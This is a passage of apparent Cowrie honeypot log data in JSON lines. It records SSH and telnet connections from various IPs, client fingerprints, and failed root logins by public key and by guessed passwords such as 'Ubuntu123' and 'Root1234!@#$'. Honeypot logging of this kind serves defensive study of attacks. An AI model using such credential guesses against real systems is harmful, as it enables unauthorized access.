{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:48:13.034983Z","src_ip":"173.236.16.74","session":"ffa806769894","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c0:24:ca:63:2e:d5:53:48:b5:7c:c4:09:d8:01:89:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC+T76GMZH+3n1qjkB3J5BetW6xBNEgwc+HBKHkav1DwRoNmneoAjMGEpz3Kv23Le6WwtL1oUs3p5Q8XZEDq/OXNV0xZXfTjY+xWwZPGEAoMWC5rFjRVzSdKtcj7di869y9u4JXwBaVpk4V8DW0cL0ZzZuObabOcKvHm5uBzol3i/x35yBgFkO3AqsvvGlXB2qgTPIKjCaM/9CQYcxXHPEJPOjctCmWwlf+v/Cq5AJaKfapZp1e8Iw/vl4y+Ls+qeCu/tY7PWX4JKwPW5sfb+9nbNOUnSdQmbgdUoYQHs1G00mRk0niZezYmAuz22U5SQ08Yw4ePfQLyclb6WtOvTMfsVfkLjPywlA1elkwXXru+Yc7bPf4Mb1OX21vYO2GXCGH6+yCLd+xPpmodhadTmIbD2wAy5LCj2mOPA6bjzAbNNsscEtMB5j21TTFVbU+iYGrrdGjsZHbwbMm3xE4XHXQEX7Ojks2r5onJjS0zRjD9PYRP0MVq+wGU7+P4aMzROU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c0:24:ca:63:2e:d5:53:48:b5:7c:c4:09:d8:01:89:a1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:48:13.418188Z","src_ip":"173.236.16.74","session":"ffa806769894","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c0:24:ca:63:2e:d5:53:48:b5:7c:c4:09:d8:01:89:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC+T76GMZH+3n1qjkB3J5BetW6xBNEgwc+HBKHkav1DwRoNmneoAjMGEpz3Kv23Le6WwtL1oUs3p5Q8XZEDq/OXNV0xZXfTjY+xWwZPGEAoMWC5rFjRVzSdKtcj7di869y9u4JXwBaVpk4V8DW0cL0ZzZuObabOcKvHm5uBzol3i/x35yBgFkO3AqsvvGlXB2qgTPIKjCaM/9CQYcxXHPEJPOjctCmWwlf+v/Cq5AJaKfapZp1e8Iw/vl4y+Ls+qeCu/tY7PWX4JKwPW5sfb+9nbNOUnSdQmbgdUoYQHs1G00mRk0niZezYmAuz22U5SQ08Yw4ePfQLyclb6WtOvTMfsVfkLjPywlA1elkwXXru+Yc7bPf4Mb1OX21vYO2GXCGH6+yCLd+xPpmodhadTmIbD2wAy5LCj2mOPA6bjzAbNNsscEtMB5j21TTFVbU+iYGrrdGjsZHbwbMm3xE4XHXQEX7Ojks2r5onJjS0zRjD9PYRP0MVq+wGU7+P4aMzROU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:48:13.422168Z","src_ip":"173.236.16.74","session":"ffa806769894","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"43:05:e4:4f:ac:80:1e:88:ff:ac:b6:1e:92:e7:b5:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCt6ZgnqFnWAaWADlawHG5StI8UQVcZBB39apPWSdbGIMlC6HNmanyPCGbbjiHjOAqceX9Zk2+RmndSq1M0NWapIf4vR2T1YkvJ+EJ8BbEplesVTGn9aeh2+pXQEOuWGNjqWeMHi+i9AbuVG1ff/RH4BPA3bsNeR64ss7quKqWEVZUWkLoY9Pd+fkVnV6SYRUuISB5D1VJg7u7CzPTa3O3c4jF36qyAFvmj6ZQ9Ffw9umgplaQrW/HhdpEJETSExNUaV9jTh2jF8GNZrO3jPE6ozp7TBh9+Kowuo772TBFM7aTdwlFOYhoDELbMGTCkR9NyRa9uHIdFM0ZuMzb0rzx+bBh12xHpNBjQCgLGYqhrXDqpikrKOa7jsBqQMmvaShfESPkWOFzDvw8JzvemohmT1dvj62C+nqOqeSJwYNipaF8vPK+gcQhLdbtwlBySazDXR1MRh5I86w996DlWTVpnNwKf8BgAkXhFhSAOvUt4AfemcyABaCOLlpyrMURpLB8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 43:05:e4:4f:ac:80:1e:88:ff:ac:b6:1e:92:e7:b5:a8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:48:13.508605Z","src_ip":"173.236.16.74","session":"ffa806769894","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"43:05:e4:4f:ac:80:1e:88:ff:ac:b6:1e:92:e7:b5:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCt6ZgnqFnWAaWADlawHG5StI8UQVcZBB39apPWSdbGIMlC6HNmanyPCGbbjiHjOAqceX9Zk2+RmndSq1M0NWapIf4vR2T1YkvJ+EJ8BbEplesVTGn9aeh2+pXQEOuWGNjqWeMHi+i9AbuVG1ff/RH4BPA3bsNeR64ss7quKqWEVZUWkLoY9Pd+fkVnV6SYRUuISB5D1VJg7u7CzPTa3O3c4jF36qyAFvmj6ZQ9Ffw9umgplaQrW/HhdpEJETSExNUaV9jTh2jF8GNZrO3jPE6ozp7TBh9+Kowuo772TBFM7aTdwlFOYhoDELbMGTCkR9NyRa9uHIdFM0ZuMzb0rzx+bBh12xHpNBjQCgLGYqhrXDqpikrKOa7jsBqQMmvaShfESPkWOFzDvw8JzvemohmT1dvj62C+nqOqeSJwYNipaF8vPK+gcQhLdbtwlBySazDXR1MRh5I86w996DlWTVpnNwKf8BgAkXhFhSAOvUt4AfemcyABaCOLlpyrMURpLB8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:48:13.513136Z","src_ip":"173.236.16.74","session":"ffa806769894","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"51:f6:17:8c:3d:8c:18:9f:6b:86:4b:7a:16:43:31:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwpxoykOV7o5Wl+EV672cJfWkpzPJYiwnj/H9E9BXfBMKXXIP/pXiIXWfpjBY0U3PHPDai0eLH//c+vXRMOeuceAO4x6NMvr4kMsnJ9UiarzrVDJ21o1j1M1aGm+74MrWcpydF/k+Itvx4u+iSGdJRhzNdUtwwLKAP3tFVSAyZc8uHVLtkQnn9oQRhGoIGD90E5TQaQiZrG3F+H4NhujexDjew6r7Q4rGlKeRa4YKmHeBlPujhWk7sTFYD+5vpWqF0nRbN2t5eyNTRShU01kP6cto/AhPyKOuVbw5UUh3X7kJOVdbpvHX/pPG5ki8bGkDr+YlgcgbhqBVXtCnChz9bQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 51:f6:17:8c:3d:8c:18:9f:6b:86:4b:7a:16:43:31:fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:48:13.595784Z","src_ip":"173.236.16.74","session":"ffa806769894","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"51:f6:17:8c:3d:8c:18:9f:6b:86:4b:7a:16:43:31:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwpxoykOV7o5Wl+EV672cJfWkpzPJYiwnj/H9E9BXfBMKXXIP/pXiIXWfpjBY0U3PHPDai0eLH//c+vXRMOeuceAO4x6NMvr4kMsnJ9UiarzrVDJ21o1j1M1aGm+74MrWcpydF/k+Itvx4u+iSGdJRhzNdUtwwLKAP3tFVSAyZc8uHVLtkQnn9oQRhGoIGD90E5TQaQiZrG3F+H4NhujexDjew6r7Q4rGlKeRa4YKmHeBlPujhWk7sTFYD+5vpWqF0nRbN2t5eyNTRShU01kP6cto/AhPyKOuVbw5UUh3X7kJOVdbpvHX/pPG5ki8bGkDr+YlgcgbhqBVXtCnChz9bQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:48:13.599721Z","src_ip":"173.236.16.74","session":"ffa806769894","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7f:ad:9b:0c:29:42:ca:95:a9:cc:3f:8d:6a:92:74:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDINn0RRB43UpajnzGQEn+V7S7SMjNmht7CqxmvwZ0DOW+vgA2H+mvYfVDW3ns/DMfDvXkdnzYFWqjLfSqiZh30wKTF9R/NiGfjSH5AT+8rR5lVkvzgpIVcVRNvKx4ebKzQRzK4dQY9fl2fwSTVODCabvOZjO4s2l3sioCLIkSAYVrludw0zrlYEuRb3Y19+YhRnLzAmRfcxr5ABwMM9www8ziT+jiP/43OPggXTMSmpWQTyIel8GE5nNfI2LgEyu24Yv32osyQQDWd7JugHTYfK1rs0MGLocWuT3CEBYaU6CHjWVCh1XIA8vfToLcR/PKAwUcTxGb8WkGUB6NSsU8n","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7f:ad:9b:0c:29:42:ca:95:a9:cc:3f:8d:6a:92:74:39","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:48:13.682457Z","src_ip":"173.236.16.74","session":"ffa806769894","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7f:ad:9b:0c:29:42:ca:95:a9:cc:3f:8d:6a:92:74:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDINn0RRB43UpajnzGQEn+V7S7SMjNmht7CqxmvwZ0DOW+vgA2H+mvYfVDW3ns/DMfDvXkdnzYFWqjLfSqiZh30wKTF9R/NiGfjSH5AT+8rR5lVkvzgpIVcVRNvKx4ebKzQRzK4dQY9fl2fwSTVODCabvOZjO4s2l3sioCLIkSAYVrludw0zrlYEuRb3Y19+YhRnLzAmRfcxr5ABwMM9www8ziT+jiP/43OPggXTMSmpWQTyIel8GE5nNfI2LgEyu24Yv32osyQQDWd7JugHTYfK1rs0MGLocWuT3CEBYaU6CHjWVCh1XIA8vfToLcR/PKAwUcTxGb8WkGUB6NSsU8n","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:48:13.686447Z","src_ip":"173.236.16.74","session":"ffa806769894","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4e:b8:94:25:54:02:30:09:ce:f6:2a:c7:c9:2c:5f:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDg+3htNk+I6uOyWxa8eaAcWzqJBpuZwCTPYmumR6tbSE5LnoxLLB7DL78xkvFgdhsZDGZ5JSNhvN0fbeTKkyyyYu6oZVe2NUUb3tN9uJNefAlH2oqxWk5DZQuYZVe4D65r+CTAiBnCETJzUSXiUgTVRwIdLH6GUb1ZDlzEOF0OnvgjI97ZpOiuXBIuNneOhBC4+1DG/9A/jHJ7MhKmvg6Eh28uYggOp5GPkyP2Us+NMM20gyPZgNyz3a3QcQhLnpqdUqh+d6amy3Jm3oh8HoxLvmKn6CHzaYcYg4ljHAaTCdFrXCwikzpBbgvz9H8ISKjSCHdSUQ6+H4OGN6BhyG+p","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4e:b8:94:25:54:02:30:09:ce:f6:2a:c7:c9:2c:5f:55","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:48:13.768669Z","src_ip":"173.236.16.74","session":"ffa806769894","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4e:b8:94:25:54:02:30:09:ce:f6:2a:c7:c9:2c:5f:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDg+3htNk+I6uOyWxa8eaAcWzqJBpuZwCTPYmumR6tbSE5LnoxLLB7DL78xkvFgdhsZDGZ5JSNhvN0fbeTKkyyyYu6oZVe2NUUb3tN9uJNefAlH2oqxWk5DZQuYZVe4D65r+CTAiBnCETJzUSXiUgTVRwIdLH6GUb1ZDlzEOF0OnvgjI97ZpOiuXBIuNneOhBC4+1DG/9A/jHJ7MhKmvg6Eh28uYggOp5GPkyP2Us+NMM20gyPZgNyz3a3QcQhLnpqdUqh+d6amy3Jm3oh8HoxLvmKn6CHzaYcYg4ljHAaTCdFrXCwikzpBbgvz9H8ISKjSCHdSUQ6+H4OGN6BhyG+p","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:48:13.772885Z","src_ip":"173.236.16.74","session":"ffa806769894","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:48:13.857965Z","src_ip":"173.236.16.74","session":"ffa806769894","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00693655014038,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:48:19.200991Z","src_ip":"38.211.253.121","session":"2fcb9fbf6f99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.182.78","src_port":50620,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9797f3fd276","protocol":"ssh","message":"New connection: 160.251.182.78:50620 (159.203.135.109:22) [session: f9797f3fd276]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:48:20.860439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:48:20.865576Z","src_ip":"160.251.182.78","session":"f9797f3fd276","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.211.253.121","src_port":10098,"dst_ip":"159.203.135.109","dst_port":23,"session":"e63e130cda4f","protocol":"telnet","message":"New connection: 38.211.253.121:10098 (159.203.135.109:23) [session: e63e130cda4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:48:20.964021Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:48:21.036051Z","src_ip":"160.251.182.78","session":"f9797f3fd276","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ubuntu123","message":"login attempt [root/Ubuntu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:48:21.752339Z","src_ip":"160.251.182.78","session":"f9797f3fd276","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:48:22.927964Z","src_ip":"160.251.182.78","session":"f9797f3fd276","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:48:38.657519Z","src_ip":"14.103.118.145","session":"eb528103273d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":44532,"dst_ip":"10.17.0.5","dst_port":22,"session":"6eeadf130c8a","protocol":"ssh","message":"New connection: 20.203.42.204:44532 (10.17.0.5:22) [session: 6eeadf130c8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:48:46.490965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:48:46.495847Z","src_ip":"20.203.42.204","session":"6eeadf130c8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:48:46.664495Z","src_ip":"20.203.42.204","session":"6eeadf130c8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root1234!@#$","message":"login attempt [root/Root1234!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:48:47.372298Z","src_ip":"20.203.42.204","session":"6eeadf130c8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:48:48.545757Z","src_ip":"20.203.42.204","session":"6eeadf130c8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":42770,"dst_ip":"10.17.0.5","dst_port":22,"session":"e749c4cbbcd0","protocol":"ssh","message":"New connection: 103.153.68.219:42770 (10.17.0.5:22) [session: e749c4cbbcd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:49:05.631582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:49:05.637383Z","src_ip":"103.153.68.219","session":"e749c4cbbcd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:49:05.884418Z","src_ip":"103.153.68.219","session":"e749c4cbbcd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":65448,"dst_ip":"159.203.135.109","dst_port":22,"session":"45af044b2c45","protocol":"ssh","message":"New connection: 38.93.206.2:65448 (159.203.135.109:22) [session: 45af044b2c45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:49:05.931387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:49:05.937009Z","src_ip":"38.93.206.2","session":"45af044b2c45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 